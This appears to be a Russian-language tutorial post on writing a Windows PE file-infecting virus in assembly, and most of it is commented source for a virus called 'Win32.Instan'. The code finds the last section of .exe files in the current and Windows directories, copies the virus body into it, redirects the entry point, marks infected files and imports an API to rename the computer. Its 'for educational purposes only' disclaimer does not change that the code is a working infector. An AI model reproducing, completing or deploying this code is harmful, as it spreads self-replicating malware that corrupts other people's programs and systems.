Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны: а) знать основные команды ассемблера б) уметь пользоватся АПИ-функциями в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности). г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки) д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! ) е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь) ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ Вроде всё.
Теперь план обучения: 1) формат заголовка файла РЕ 2) разбор основных полей заголовка РЕ 3) методика заражения 4) дельта-смещение. 5) поиск АПИ 6) разбор используемых АПИ 7) пишем код 8) Reserved
ls_found:
; сюда попадём после того, как найдена последняя (физически и виртуально) секция.
; регистры изменятся
; esi=edi=VA of last section
; edx - виртуальное смещение of last section
; ebx - физическое смещение of last section
; флаги всех секций установлены в 0а0000020
pop esi
mov eax, dwordptr [esi+28h] ; берём rva точки входа
add eax, dwordptr [esi+34h] ; добавляем базу, получаем va
mov dwordptr [ebp+EIPs],eax; этот адрес кидаем в переменную, которая когда-то станет значением еах.
pop eax; вспомним начало файла
push esi
push edi; запомним адрес заголовка и адрес начала структуры описания последней секции
mov edi, [edi+10h]
; в edi - размер секции
lea edi, [ebx+edi]
; в edi - размер секции + физическое смещение последней секции = смещение
; последнего байта секции (относительно начала)
add edi, eax;прибавляем адрес начала получаем VA
mov ecx, vir_size
;в есх - длину вируса
lea esi, [ebp+offsetstart]
; esi указывает на начало
rep movsb
; копирует один байт из памяти по адресу ds:esi в память по адресу es:edi есх раз
; то есть после этого вирус перекачует в память начиная с конца последней секции
; файла, который заражаем, куда указывает edi. вот и поселились, осталось обосноваться.
pop edi
pop esi; вспомним адрес заголовка и адрес начала структуры описания последней секции
mov eax, dwordptr [edi+0ch]
; в еах - rva последней секции
add eax, dwordptr [edi+10h]
; + размер секции (до заражения) - получаем rva начала нашего кода
mov dwordptr [esi+28h], eax; меняем entry point на тот, который указывает на наш код.
mov eax, vir_size
call aligning
; в еах выровненная длина виря
add dwordptr [edi+10h], eax; её прибавляем к физическому размеру секции
add dwordptr [edi+8], eax; также к виртуальному
mov eax, dwordptr [edi+0ch]
; в еах - rva последней секции
add eax, dwordptr [edi+8]
; добавляем к ней виртуальный размер, получая значение, которое можно записать ...
mov dwordptr [esi+50h], eax; ... в поле Size Of Image заголовка
mov dwordptr [esi+44h], 'CPM '; устанавливаем метку заражения
xor ebx,ebx; закончили работу с файлом нужно закрыть и искать следующий, а для этого нужно ebx = 0
UVF:
push [ebp+pFM]
call [ebp+_UnmapViewOfFile]
; убираем файл из памяти
close_FM:
push [ebp+hFM]
call [ebp+_CloseHandle]
; закрываем мэппинг
test ebx,ebxjnz step1
; тут прикол с ebx, о нём выше
close_file:
push [ebp+hFO]
call [ebp+_CloseHandle]
; закрываем файл
jmp infection_done
; переходим к след. файлу
; ======процедурка, которая делает фокус с ebx, что приводит к закрытию файла
zeroid:
xor ebx,ebxjmp UVF
; ======
; ==========процедурка поиска последней (физически и виртуально) секции
; eax - pe header va
last_sec_find:
movzx edi, wordptr [eax+14h]
; в edi размер заголовка без учёта IMAGE_FILE_HEADER (18h)
lea eax,[eax+edi+18h]
; прибавляем 18h и адрес начала файла, получаем смещение начала таблицы секций
mov ebx, [eax+14h]
; в ebx - физическое смещение первой
mov edx, [eax+0ch]
; в edx - виртуальное смещение первой
scoffs:
mov [eax+24h], 0A0000020h
; фиксим флаги
cmp ebx, [eax+14h]
; сравниваем физическое смещение текущей секции с физическим следующей
ja shvrva
; если текущее больше идём сравнивать виртуальные
mov ebx, [eax+14h]
; если нет - запоминаем его
mov esi, eax; в esi адрес структуры с большим физическим смещением
shvrva:
cmp edx, [eax+0ch]
; сравниваем вмртуальные
ja nextobj
; если текущее больше, переходим к следующей структуре
mov edx, [eax+0ch]
mov edi, eax; если нет, действия, аналогичные тем, которые были с физическими
nextobj:
add eax, 28h
; структура имеет размер 28h, то есть, чтоб перейти к следующей,
; нам надо прибавить 28h к текущей
loop scoffs
; так будем перебирать все секции
cmp esi, edi; посмотрим принадлежат ли самое большое физическое и виртуальное смещение одной секции
je ls_found
; если да, то прыгаем, откуда пришли
pop eax
pop eax; если нет - восстановим стек
jmp zeroid
; и выйдим
; ====================
; ==============процедура выравнивания
aligning:
; eax - numb to align
mov ecx, [ebp+file_align]
dec ecx
add eax, ecx
not ecx
and eax, ecxret; eax-aligned
; ===============
; ==================работает в первом поколении
first_gen:
xor ebx, ebx
push ebx
push offset szTitle
push offset szmess
push ebxcall MessageBoxA
push ebxcall ExitProcess
; ==================
; =============переход на следующую директорию
nextdir:
cmp byteptr [ebp+numbofdirs], 0
; если нет больше директорий...
jz Exit
; ...на выход
call killfind
; а так - "убиваем" хендл поиска
lea edi, [ebp+offset szWindowsDirectory]
; идём на директорию винды
push edicall [ebp+_SetCurrentDirectoryA]
; делаем её текущей для нашего процесса
dec byteptr [ebp+numbofdirs]
; отнимаем 1 от кол-ва директорий
jmp FindFirsttttt
; ищем первый файл в текущей директории
; ====================
; ==========="убийство" хендла поиска
killfind:
push dwordptr [ebp+offset hFF]
call [ebp+_FindClose]
ret; ============
FAttrNorm equ 80h ; новые аттрибуты файла
MAX_PATH equ 100h ; максимальное значение длины пути, которое мы допускаем
Some_pathes equ 50h ; длина пути к виндозной директории
vir_size equ (vir_end-start) ; длина вируса
PAGE_READWRITE equ 00000004h
SECTION_MAP_WRITE equ 2h
SECTION_MAP_READ equ 4h
SRW equ SECTION_MAP_WRITE or SECTION_MAP_READ
szTitle db'[Win32.Instan] by FreeMan', 0 ; заголовок окна сообщения
szmess db'My first win32 virus. [Win32.Instan]', 0ah, 0dh; начало сообщения
db'(c) by FreeMan[CPM]', 0 ; конец сообщения
NewComp db'WIN32.Instan', 0 ; новое имя компа
hFF dd 0
hFO dd 0
hFM dd 0
pFM dd 0
; переменные для хранения хендлов
file_align dd 0
; выравнивание файла будет тут : )
numbofdirs db 0
; кол-во директорий
GetWindowsDirectoryA_ db'GetWindowsDirectoryA', 0
_GetWindowsDirectoryA dd 0
SetCurrentDirectoryA_ db'SetCurrentDirectoryA', 0
_SetCurrentDirectoryA dd 0
CreateFileA_ db'CreateFileA', 0
_CreateFileA dd 0
FindFirstFileA_ db'FindFirstFileA', 0
_FindFirstFileA dd 0
FindNextFileA_ db'FindNextFileA', 0
_FindNextFileA dd 0
CreateFileMappingA_ db'CreateFileMappingA', 0
_CreateFileMappingA dd 0
MapViewOfFile_ db'MapViewOfFile', 0
_MapViewOfFile dd 0
UnmapViewOfFile_ db'UnmapViewOfFile', 0
_UnmapViewOfFile dd 0
SetFileAttributesA_ db'SetFileAttributesA', 0
_SetFileAttributesA dd 0
CloseHandle_ db'CloseHandle', 0
_CloseHandle dd 0
FindClose_ db'FindClose', 0
_FindClose dd 0
SetComputerNameA_ db'SetComputerNameA', 0
_SetComputerNameA dd 0
my_name_is dw 0B0BAH
; апи, адреса которых надо найти
WFD32:
FAttr dd 0
FCrTime dd 0, 0
FLAcsTime dd 0, 0
FLWTime dd 0, 0
FSizeH dd 0
FSizeL dd 0
FRes dd 0, 0
FName db MAX_PATH dup (0)
AFName db 13 dup (?)
; структура поиска
szWindowsDirectory db Some_pathes dup (0) ; буфер под путь к виндозной директории
FN4Search db'*.exe', 0 ; маска поиска
vir_end:
; метка конца виря
endstart; here is the end of code
исходник лежит в прикреплённом архиве (кодировка - Cyrillic Windows). компилить: